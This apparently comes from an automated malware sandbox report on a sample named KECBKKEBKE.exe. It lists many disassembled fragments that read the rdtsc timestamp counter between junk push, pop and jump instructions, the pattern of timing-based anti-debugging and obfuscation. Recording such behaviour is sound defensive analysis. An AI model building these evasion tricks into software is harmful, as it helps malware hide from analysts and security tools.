Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: ED85FE second address: ED86AC instructions: 0x00000000 rdtsc 0x00000002 jp 00007F44DCF1404Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F44DCF14056h 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push ecx 0x00000014 call 00007F44DCF14048h 0x00000019 pop ecx 0x0000001a mov dword ptr [esp+04h], ecx 0x0000001e add dword ptr [esp+04h], 0000001Dh 0x00000026 inc ecx 0x00000027 push ecx 0x00000028 ret 0x00000029 pop ecx 0x0000002a ret 0x0000002b call 00007F44DCF14053h 0x00000030 sub edx, dword ptr [ebp+122D2498h] 0x00000036 pop edx 0x00000037 push dword ptr [ebp+122D34DBh] 0x0000003d mov edx, dword ptr [ebp+122D33A6h] 0x00000043 mov dh, 3Ch 0x00000045 call 00007F44DCF14049h 0x0000004a jnc 00007F44DCF1404Ah 0x00000050 push eax 0x00000051 ja 00007F44DCF1404Eh 0x00000057 mov eax, dword ptr [esp+04h] 0x0000005b push edx 0x0000005c push eax 0x0000005d push edx 0x0000005e jmp 00007F44DCF14050h 0x00000063 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: EDA06E second address: EDA072 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: ED9B9C second address: ED9BCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F44DCF1404Eh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F44DCF1404Eh 0x00000011 jmp 00007F44DCF14050h 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: EDBAD0 second address: EDBAD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: EDBAD4 second address: EDBB0B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF14056h 0x00000007 jmp 00007F44DCF14059h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: EDBB0B second address: EDBB2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pushad 0x00000008 jmp 00007F44DCF2CAF5h 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5150D96 second address: 5150DA5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF1404Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5150DA5 second address: 5150DB7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop edx 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5150DB7 second address: 5150DBD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5150DBD second address: 5150DC2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5150DC2 second address: 5150DD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop esi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F44DCF1404Ah 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5150DD8 second address: 5150E08 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF2CAEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F44DCF2CAF6h 0x00000010 pop ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 mov bl, BAh 0x00000016 mov edx, esi 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5150E08 second address: 5150E0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5140D76 second address: 5140D7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5140D7C second address: 5140D80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5140D80 second address: 5140DEE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF2CAF3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F44DCF2CAF9h 0x00000011 xchg eax, ebp 0x00000012 jmp 00007F44DCF2CAEEh 0x00000017 mov ebp, esp 0x00000019 jmp 00007F44DCF2CAF0h 0x0000001e pop ebp 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F44DCF2CAF7h 0x00000026 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5140DEE second address: 5140E06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F44DCF14054h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5140E06 second address: 5140E0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 518093C second address: 5180940 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5180940 second address: 5180950 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF2CAECh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5180950 second address: 5180977 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF1404Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F44DCF14055h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5180977 second address: 5180993 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF2CAF1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5180993 second address: 5180997 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5180997 second address: 518099D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 518099D second address: 51809E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop eax 0x00000005 pushfd 0x00000006 jmp 00007F44DCF14057h 0x0000000b xor si, 1B0Eh 0x00000010 jmp 00007F44DCF14059h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, ebp 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e pop edi 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 512020F second address: 5120214 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5120214 second address: 512021A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 512021A second address: 5120226 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ebp, esp 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5140B75 second address: 5140B9F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, CC01h 0x00000007 jmp 00007F44DCF1404Eh 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F44DCF1404Dh 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5140B9F second address: 5140BB4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF2CAF1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5140BB4 second address: 5140BBA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 51407D2 second address: 5140817 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push ebp 0x00000007 jmp 00007F44DCF2CAF0h 0x0000000c mov dword ptr [esp], ebp 0x0000000f jmp 00007F44DCF2CAF0h 0x00000014 mov ebp, esp 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F44DCF2CAF7h 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5140769 second address: 5140798 instructions: 0x00000000 rdtsc 0x00000002 mov dx, 831Ah 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F44DCF1404Bh 0x0000000d popad 0x0000000e mov ebp, esp 0x00000010 pushad 0x00000011 jmp 00007F44DCF14054h 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5140404 second address: 5140408 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5140408 second address: 5140425 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF14059h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5140425 second address: 5140435 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F44DCF2CAECh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5150111 second address: 515012E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edi 0x00000005 push ebx 0x00000006 pop esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b pushad 0x0000000c mov di, ax 0x0000000f mov ebx, esi 0x00000011 popad 0x00000012 mov dword ptr [esp], ebp 0x00000015 pushad 0x00000016 movzx esi, bx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 515012E second address: 5150132 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5150132 second address: 5150142 instructions: 0x00000000 rdtsc 0x00000002 movsx ebx, cx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5150142 second address: 5150146 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5150146 second address: 5150161 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF14057h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5150161 second address: 5150167 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5150167 second address: 515016B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 51808AD second address: 51808B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 51808B3 second address: 51808B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 51808B7 second address: 51808DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F44DCF2CAF7h 0x0000000e mov ebp, esp 0x00000010 pushad 0x00000011 push ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 51808DD second address: 51808E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 51808E6 second address: 51808EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 51808EA second address: 5180920 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F44DCF1404Ah 0x00000008 jmp 00007F44DCF14055h 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 pop ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F44DCF1404Dh 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5180920 second address: 5180926 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 516017D second address: 51601AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, bx 0x00000006 push ebx 0x00000007 pop ecx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c jmp 00007F44DCF1404Ah 0x00000011 mov dword ptr [esp], ebp 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F44DCF14057h 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 51601AF second address: 516020C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF2CAF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F44DCF2CAEEh 0x00000010 mov eax, dword ptr [ebp+08h] 0x00000013 jmp 00007F44DCF2CAF0h 0x00000018 and dword ptr [eax], 00000000h 0x0000001b jmp 00007F44DCF2CAF0h 0x00000020 and dword ptr [eax+04h], 00000000h 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 516020C second address: 5160210 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5160210 second address: 5160216 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5160216 second address: 516021C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 516021C second address: 5160220 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5140635 second address: 514063A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 514063A second address: 514069A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F44DCF2CAF7h 0x00000009 and cx, 266Eh 0x0000000e jmp 00007F44DCF2CAF9h 0x00000013 popfd 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d jmp 00007F44DCF2CAF9h 0x00000022 mov di, ax 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 514069A second address: 51406A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 51406A0 second address: 51406C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF2CAEFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e mov cx, 78DBh 0x00000012 mov cx, C7B7h 0x00000016 popad 0x00000017 pop ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 51406C7 second address: 51406D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov bx, 96A8h 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 51406D0 second address: 51406E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F44DCF2CAEDh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 51406E1 second address: 51406E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5150D1A second address: 5150D42 instructions: 0x00000000 rdtsc 0x00000002 mov ch, 5Ah 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 mov edi, eax 0x0000000b call 00007F44DCF2CAECh 0x00000010 pushad 0x00000011 popad 0x00000012 pop eax 0x00000013 popad 0x00000014 xchg eax, ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F44DCF2CAEAh 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5160042 second address: 5160098 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F44DCF1404Eh 0x00000008 push esi 0x00000009 pop edi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F44DCF1404Ah 0x00000015 or eax, 799CAE88h 0x0000001b jmp 00007F44DCF1404Bh 0x00000020 popfd 0x00000021 mov esi, 6A4E16FFh 0x00000026 popad 0x00000027 mov ebp, esp 0x00000029 jmp 00007F44DCF14052h 0x0000002e pop ebp 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5160098 second address: 516009C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 516009C second address: 51600A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 51600A2 second address: 51600A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 51600A8 second address: 51600AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5180009 second address: 5180067 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F44DCF2CAF6h 0x00000008 add ax, 9728h 0x0000000d jmp 00007F44DCF2CAEBh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 jmp 00007F44DCF2CAF8h 0x0000001a popad 0x0000001b xchg eax, ebp 0x0000001c jmp 00007F44DCF2CAF0h 0x00000021 push eax 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 pushad 0x00000026 popad 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5180067 second address: 518006C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 518006C second address: 5180090 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF2CAF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5180090 second address: 5180094 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5180094 second address: 518009A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 518009A second address: 51800E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F44DCF14050h 0x00000009 and eax, 1E04C978h 0x0000000f jmp 00007F44DCF1404Bh 0x00000014 popfd 0x00000015 call 00007F44DCF14058h 0x0000001a pop ecx 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e mov ebp, esp 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 mov di, D5F0h 0x00000027 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 51800E5 second address: 51800F6 instructions: 0x00000000 rdtsc 0x00000002 movsx edx, cx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ah, 9Ah 0x00000009 popad 0x0000000a push ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 51800F6 second address: 51800FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 51800FA second address: 5180100 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5180100 second address: 5180106 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5180106 second address: 518010A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 518010A second address: 5180127 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F44DCF1404Eh 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5180127 second address: 5180136 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF2CAEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
